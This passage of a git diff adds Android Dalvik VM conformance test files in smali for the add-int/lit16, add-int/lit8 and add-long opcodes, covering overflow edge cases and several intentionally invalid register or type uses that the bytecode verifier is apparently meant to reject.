+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 0x7ffffffe
+       add-int/lit16 v0, v1, 2
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_6.smali
new file mode 100644
index 0000000..e202138
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_6.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_6.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -1
+       add-int/lit16 v0, v1, 1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_7.smali
new file mode 100644
index 0000000..67dcecd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_7.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_7.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 0
+       add-int/lit16 v0, v1, 32767
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_8.smali
new file mode 100644
index 0000000..9d7910c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_8.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_8.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 2147483647
+       add-int/lit16 v0, v1, 32767
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_9.smali
new file mode 100644
index 0000000..33923b8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_9.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_9.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 2147483647
+       add-int/lit16 v0, v1, 1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_1.smali
new file mode 100644
index 0000000..0af2524
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_1.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_1.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 8
+       add-int/lit8 v0, v1, 4
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_10.smali
new file mode 100644
index 0000000..d9a2d13
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_10.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_10.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -2147483648
+       add-int/lit8 v0, v1, 1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_11.smali
new file mode 100644
index 0000000..b721faa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_11.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_11.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 0
+       add-int/lit8 v0, v1, 0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_12.smali
new file mode 100644
index 0000000..e8bd4a1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_12.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_12.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -32768
+       add-int/lit8 v0, v1, -128
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_13.smali
new file mode 100644
index 0000000..c456a58
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_13.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_13.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_13;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 3.1415
+       add-int/lit8 v0, v0, 1
+       return v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_14.smali
new file mode 100644
index 0000000..e28705d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_14.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_14.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_14;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 33231415
+       add-int/lit8 v0, v0, 1
+       return v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_15.smali
new file mode 100644
index 0000000..d54c826
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_15.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_15.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       add-int/lit8 v0, v1, 1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_16.smali
new file mode 100644
index 0000000..2ca139e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_16.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_16.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 4
+       add-int/lit8 v0, v3, 1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_17.smali
new file mode 100644
index 0000000..fd19783
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_17.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_17.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_17;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       add-int/lit8 v0, v4, 1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_2.smali
new file mode 100644
index 0000000..741b8ed
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_2.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -128
+       add-int/lit8 v0, v1, 127
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_3.smali
new file mode 100644
index 0000000..5465e2d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_3.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 0
+       add-int/lit8 v0, v1, -128
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_4.smali
new file mode 100644
index 0000000..ba14f26
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_4.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -2147483647
+       add-int/lit8 v0, v1, 0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_5.smali
new file mode 100644
index 0000000..3ed0b0b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_5.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_5.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 0x7ffffffe
+       add-int/lit8 v0, v1, 2
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_6.smali
new file mode 100644
index 0000000..c79b07f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_6.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_6.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -1
+       add-int/lit8 v0, v1, 1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_7.smali
new file mode 100644
index 0000000..cd50c4c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_7.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_7.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 0
+       add-int/lit8 v0, v1, 127
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_8.smali
new file mode 100644
index 0000000..83bf900
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_8.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_8.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 2147483647
+       add-int/lit8 v0, v1, 127
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_9.smali
new file mode 100644
index 0000000..3a01685
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_9.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_9.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 2147483647
+       add-int/lit8 v0, v1, 1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_1.smali
new file mode 100644
index 0000000..7641a33
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_long_1.java"
+.class  public Ldot/junit/opcodes/add_long/d/T_add_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       add-long v0, v3, v5
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_2.smali
new file mode 100644
index 0000000..3d50caf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_2.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_long_2.java"
+.class  public Ldot/junit/opcodes/add_long/d/T_add_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       add-long v0, v3, v7
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_3.smali
new file mode 100644
index 0000000..ec746d2
--- /dev/null
